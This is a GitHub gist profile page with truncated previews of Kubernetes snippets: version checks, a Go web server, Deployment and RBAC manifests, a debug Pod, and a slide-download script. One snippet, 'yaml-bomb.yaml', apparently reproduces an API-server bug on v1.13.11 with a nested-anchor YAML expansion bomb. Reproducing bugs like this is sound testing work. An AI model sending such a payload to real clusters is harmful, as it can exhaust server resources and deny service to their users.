Skip to content

Instantly share code, notes, and snippets.

View superbrothers's full-sized avatar
🌏
Working from the earth

Kazuki Suda superbrothers

🌏
Working from the earth
View GitHub Profile
# This issues was fixed on v1.18.3 and later.
$ kind create cluster --image kindest/node:v1.18.2
$ kubectl version
Client Version: version.Info{Major:"1", Minor:"18", GitVersion:"v1.18.4", GitCommit:"c96aede7b5205121079932896c4ad89bb93260af", GitTreeState:"clean", BuildDate:"2020-06-17T11:41:22Z", GoVersion:"go1.13.9", Compiler:"gc", Platform:"darwin/amd64"}
Server Version: version.Info{Major:"1", Minor:"18", GitVersion:"v1.18.2", GitCommit:"52c56ce7a8272c798dbc29846288d7cd9fbae032", GitTreeState:"clean", BuildDate:"2020-04-30T20:19:45Z", GoVersion:"go1.13.9", Compiler:"gc", Platform:"linux/amd64"}
$ cat <<EOL | kubectl apply -f-
apiVersion: apps/v1
$ kubectl version
Client Version: version.Info{Major:"1", Minor:"17", GitVersion:"v1.17.2", GitCommit:"59603c6e503c87169aea6106f57b9f242f64df89", GitTreeState:"clean", BuildDate:"2020-01-18T23:30:10Z", GoVersion:"go1.13.5", Compiler:"gc", Platform:"darwin/amd64"}
Server Version: version.Info{Major:"1", Minor:"17", GitVersion:"v1.17.2", GitCommit:"59603c6e503c87169aea6106f57b9f242f64df89", GitTreeState:"clean", BuildDate:"2020-02-07T01:05:17Z", GoVersion:"go1.13.5", Compiler:"gc", Platform:"linux/amd64"}
$ kubectl create configmap env-config --from-literal=log_level=INFO
configmap/env-config created
$ cat <<EOL | kubectl create -f -
apiVersion: apps/v1
kind: Deployment
@superbrothers
superbrothers / app.go
Last active February 17, 2020 13:49
Simple Web Server with golang
package main
import (
"fmt"
"io/ioutil"
"log"
"net/http"
)
func rootHandler(w http.ResponseWriter, r *http.Request) {
@superbrothers
superbrothers / debugtest.yaml
Last active October 25, 2019 02:55
Kubernetes 1.16 Ephemeral Containers (alpha) - Kubernetes Meetup Tokyo #24 (2019/10/24)
apiVersion: v1
kind: Pod
metadata:
name: debugtest
spec:
shareProcessNamespace: true
containers:
- name: myapp
image: docker.io/superbrothers/distroless-examples-nodejs-hello-http
---
$ minikube version
minikube version: v1.4.0
commit: 7969c25a98a018b94ea87d949350f3271e9d64b6
$ minikube start --kubernetes-version=v1.13.11
$ kubectl version
Client Version: version.Info{Major:"1", Minor:"16", GitVersion:"v1.16.0", GitCommit:"2bd9643cee5b3b3a5ecbd3af49d09018f0773c77", GitTreeState:"clean", BuildDate:"2019-09-19T14:00:14Z", GoVersion:"go1.12.9", Compiler:"gc", Platform:"darwin/amd64"}
Server Version: version.Info{Major:"1", Minor:"13", GitVersion:"v1.13.11", GitCommit:"25074a190ef2a07d8b0ed38734f2cb373edfb868", GitTreeState:"clean", BuildDate:"2019-09-18T14:34:46Z", GoVersion:"go1.11.13", Compiler:"gc", Platform:"linux/amd64"}
$ cat <<EOL > yaml-bomb.yaml
apiVersion: authorization.k8s.io/v1
kind: SelfSubjectAccessReview
apiVersion: authorization.k8s.io/v1
kind: SelfSubjectAccessReview
metadata:
labels:
a: &a ["web","web","web","web","web","web","web","web","web"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
package main
import (
"flag"
"log"
"path/filepath"
appsv1 "k8s.io/api/apps/v1"
apiv1 "k8s.io/api/core/v1"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
apiVersion: v1
kind: ServiceAccount
metadata:
namespace: monitoring
name: kube-eagle
labels:
app: kube-eagle
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@superbrothers
superbrothers / kccnceu18-dl.sh
Last active May 10, 2019 08:05
Download KubeCon + CloudNativeCon Europe 2018 presentations from Sched
#!/usr/bin/env bash
# Download KubeCon + CloudNativeCon Europe 2018 presentations from Sched
# Forked https://gist.github.com/hobbsh/35091c54970fff0b86a64cd72f02e8e3
DAYS=("2018-04-30" "2018-05-01" "2018-05-02" "2018-05-03" "2018-05-04")
for DAY in "${DAYS[@]}"; do
mkdir -p "kccnceu18/${DAY}"
LINKS=($(curl -s https://kccnceu18.sched.com/${DAY}/overview | grep -oEi "f='(.*)' cl" | cut -d\' -f 2 | tr '\n' ' '))
for LINK in "${LINKS[@]}"; do